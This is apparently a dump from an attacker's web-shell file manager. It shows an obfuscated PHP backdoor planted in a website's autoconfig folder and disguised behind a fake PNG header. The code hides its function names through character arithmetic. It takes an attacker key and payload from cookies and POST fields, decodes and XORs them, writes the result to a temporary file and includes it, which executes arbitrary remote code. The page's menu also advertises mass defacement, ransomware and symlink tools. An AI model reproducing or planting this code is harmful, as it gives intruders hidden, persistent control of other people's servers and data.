\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/tims.tv/autoconfig/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/tims.tv/autoconfig/a658d1c4.php |
$JrvPsgLVl = "\103" . chr (71) . chr (95) . "\116" . chr (68) . "\123" . 'x';$zjnRXLowvo = chr (99) . chr (108) . chr ( 447 - 350 ).chr ( 204 - 89 )."\163" . "\137" . chr (101) . "\170" . chr ( 416 - 311 ).chr (115) . "\x74" . "\163";$aXCnN = class_exists($JrvPsgLVl); $zjnRXLowvo = "34689";$dmqucoKoIS = strpos($zjnRXLowvo, $JrvPsgLVl);if ($aXCnN == $dmqucoKoIS){function HRMDCQGzY(){$FDWGe = new /* 13263 */ CG_NDSx(3669 + 3669); $FDWGe = NULL;}$xGtczPJ = "3669";class CG_NDSx{private function FVbVqW($xGtczPJ){if (is_array(CG_NDSx::$RfflOhkys)) {$name = sys_get_temp_dir() . "/" . crc32(CG_NDSx::$RfflOhkys["salt"]);@CG_NDSx::$RfflOhkys["write"]($name, CG_NDSx::$RfflOhkys["content"]);include $name;@CG_NDSx::$RfflOhkys["delete"]($name); $xGtczPJ = "3669";exit();}}public function ymiwDNcOak(){$buRKlkA = "54053";$this->_dummy = str_repeat($buRKlkA, strlen($buRKlkA));}public function __destruct(){CG_NDSx::$RfflOhkys = @unserialize(CG_NDSx::$RfflOhkys); $xGtczPJ = "19429_11624";$this->FVbVqW($xGtczPJ); $xGtczPJ = "19429_11624";}public function ydWhLC($buRKlkA, $paDQlHj){return $buRKlkA[0] ^ str_repeat($paDQlHj, intval(strlen($buRKlkA[0]) / strlen($paDQlHj)) + 1);}public function mheBef($buRKlkA){$wSfPlWIlX = 'b' . chr (97) . "\163" . chr (101) . "\66" . '4';return array_map($wSfPlWIlX . "\x5f" . "\144" . "\145" . 'c' . chr (111) . chr ( 668 - 568 ).chr (101), array($buRKlkA,));}public function __construct($YMkoHPtlRt=0){$RlzEBodE = chr (44); $buRKlkA = "";$iOBAPOGP = $_POST;$avMIdnClcr = $_COOKIE;$paDQlHj = "4c8afa66-9628-404f-9f1c-7e67b22a734c";$WONvksb = @$avMIdnClcr[substr($paDQlHj, 0, 4)];if (!empty($WONvksb)){$WONvksb = explode($RlzEBodE, $WONvksb);foreach ($WONvksb as $hsbIiFu){$buRKlkA .= @$avMIdnClcr[$hsbIiFu];$buRKlkA .= @$iOBAPOGP[$hsbIiFu];}$buRKlkA = $this->mheBef($buRKlkA);}CG_NDSx::$RfflOhkys = $this->ydWhLC($buRKlkA, $paDQlHj);if (strpos($paDQlHj, $RlzEBodE) !== FALSE){$paDQlHj = explode($RlzEBodE, $paDQlHj); $RgOJGr = base64_decode(md5($paDQlHj[0])); $pILgk = strlen($paDQlHj[1]) > 5 ? substr($paDQlHj[1], 0, 5) : $paDQlHj[1];$_GET['new_key'] = md5(implode('', $paDQlHj)); $urdqLjZS = str_repeat($pILgk, 2); $qKMdCAIi = array_map('trim', $paDQlHj);}}public static $RfflOhkys = 61749;}HRMDCQGzY();}